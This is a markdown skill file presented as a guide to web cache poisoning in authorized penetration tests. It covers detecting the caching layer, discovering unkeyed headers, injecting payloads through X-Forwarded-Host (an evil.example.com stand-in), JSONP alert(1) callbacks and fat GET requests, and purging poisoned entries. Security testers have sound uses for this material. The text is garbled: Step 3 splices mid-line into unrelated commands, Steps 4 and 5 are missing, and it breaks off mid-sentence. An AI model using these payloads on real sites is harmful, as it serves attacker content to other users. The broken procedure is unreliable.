---
name: performing-web-cache-poisoning-attack
description: Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.
domain: cybersecurity
subdomain: web-application-security
tags: [penetration-testing, cache-poisoning, web-security, cdn, burpsuite, owasp]
version: "1.0"
author: mahipal
license: MIT
---
# Performing Web Cache Poisoning Attack
## When to Use
- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
- When assessing web applications for cache-based vulnerabilities that could affect all users
- For testing whether unkeyed HTTP headers are reflected in cached responses
- When evaluating cache key behavior and cache deception vulnerabilities
- During security assessments of applications with aggressive caching policies
## Prerequisites
- **Authorization**: Written penetration testing agreement explicitly covering cache poisoning testing
- **Burp Suite Professional**: With Param Miner extension for automated unkeyed header discovery
- **curl**: For manual cache testing with precise header control
- **Target knowledge**: Understanding of the caching layer (CDN provider, cache headers)
- **Cache buster**: Unique query parameter to isolate test requests from other users
- **Caution**: Cache poisoning affects all users; test with cache-busting parameters first
## Workflow
### Step 1: Identify the Caching Layer and Behavior
Determine what caching infrastructure is in use and how the cache key is constructed.
```bash
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)
# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string
# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active
# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key
```
### Step 2: Discover Unkeyed Inputs with Param Miner
Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.
```
# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output
# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
```
```bash
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"
# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
```
### Step 3: Exploit Unkeyed Header for Cache Poisoning
Craft requests that poison cached responses with malicious content.
```bash
# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: &cb=$(date +%s)" | \
grep "alert"
# Parameter cloaking via parsing differences
# Backend sees: callback=evil, Cache key ignores: callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
# Fat GET request (body in GET request)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
# Cache key normalization differences
# Some caches normalize query string order, some don't
curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1
curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different?
# Test port-based cache poisoning
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
```
### Step 6: Validate Impact and Clean Up
Confirm the attack impact and ensure poisoned cache entries are cleared.
```bash
# Verify poisoned cache serves to other users
# Use a different IP/User-Agent/session to verify
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
# Check cache TTL to understand exposure window
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 means poisoned for 1 hour
# Clean up: Force cache refresh
# Some CDNs allow purging via API
# Cloudflare: API call to purge cache
# Varnish: PURGE method
curl -s -X PURGE "https://target.example.com/"
# Or wait for TTL to expire
# Document the cache poisoning window
# Start time: when poison request was sent
# End time: start time + max-age
# Affected users: all users hitting the cached URL during the window
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Cache Key** | The set of request attributes (host, path, query) used to identify cached responses |
| **Unkeyed Input** | HTTP headers or parameters not included in the cache key but reflected in responses |
| **Cache Poisoning** | Injecting malicious content into cached responses that are served to other users |
| **Cache Deception** | Tricking the cache into storing authenticated/private responses as public content |
| **Vary Header** | HTTP header specifying which request headers should be included in the cache key |
| **Cache Buster** | A unique query parameter used to prevent affecting the real cache during testing |
| **TTL (Time to Live)** | Duration a cached response remains valid before being refreshed |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Request interception and cache behavior analysis |
| **Param Miner (Burp Extension)** | Automated discovery of unkeyed HTTP headers and parameters |
| **Web Cache Vulnerability Scanner** | Automated cache poisoning detection tool |
| **curl** | Manual HTTP request crafting with precise header control |
| **Varnishlog** | Varnish cache debugging and log analysis |
| **CDN-specific tools** | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |
## Common Scenarios
### Scenario 1: X-Forwarded-Host Script Injection
The application reflects the `X-Forwarded-Host` header in script src URLs. This header is not part of the cache key. Sending a request with `X-Forwarded-Host: evil.com` poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.
### Scenario 2: Web Cache Deception on Account Page
A Cloudflare-cached application ignores unknown path segments. Requesting `/account/profile/logo.png` returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.
### Scenario 3: Parameter-Based XSS via Cache
UTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting `